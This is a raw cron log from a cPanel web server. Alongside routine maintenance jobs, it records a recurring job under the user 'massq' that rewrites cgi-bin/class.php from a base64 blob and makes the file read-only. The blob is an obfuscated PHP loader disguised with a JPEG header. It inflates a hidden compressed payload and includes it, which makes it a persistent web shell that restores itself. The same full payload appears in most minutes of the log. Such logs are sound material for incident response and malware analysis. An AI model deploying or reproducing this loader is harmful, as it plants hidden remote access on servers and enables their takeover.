Sep  8 08:04:01 server CROND[14214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:04:01 server CROND[14215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:05:01 server CROND[14687]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 08:05:01 server CROND[14688]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:05:01 server CROND[14691]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:05:01 server CROND[14695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:05:01 server CROND[14693]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:05:01 server CROND[14692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:05:01 server CROND[14696]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 08:05:01 server CROND[14694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:05:01 server CROND[14690]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:06:01 server CROND[15544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:06:01 server CROND[15545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:06:01 server CROND[15546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:07:01 server CROND[15912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:07:01 server CROND[15913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:07:01 server CROND[15914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:08:01 server CROND[16310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:08:01 server CROND[16312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:08:01 server CROND[16313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:09:01 server CROND[16696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:09:01 server CROND[16698]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 08:09:01 server CROND[16699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:09:01 server CROND[16697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:10:01 server CROND[17083]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:10:01 server CROND[17086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:10:01 server CROND[17087]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:10:01 server CROND[17089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:10:01 server CROND[17088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:10:01 server CROND[17091]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:10:01 server CROND[17090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:10:01 server CROND[17093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:11:01 server CROND[18014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:11:01 server CROND[18015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:11:01 server CROND[18016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:12:01 server CROND[18403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:12:01 server CROND[18404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:12:01 server CROND[18402]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 08:12:01 server CROND[18405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:13:01 server CROND[18800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:13:01 server CROND[18801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:13:01 server CROND[18799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:14:01 server CROND[19188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:14:01 server CROND[19189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:14:01 server CROND[19190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:15:01 server CROND[19587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:15:01 server CROND[19588]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 08:15:01 server CROND[19595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:15:01 server CROND[19608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:15:01 server CROND[19603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:15:01 server CROND[19604]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
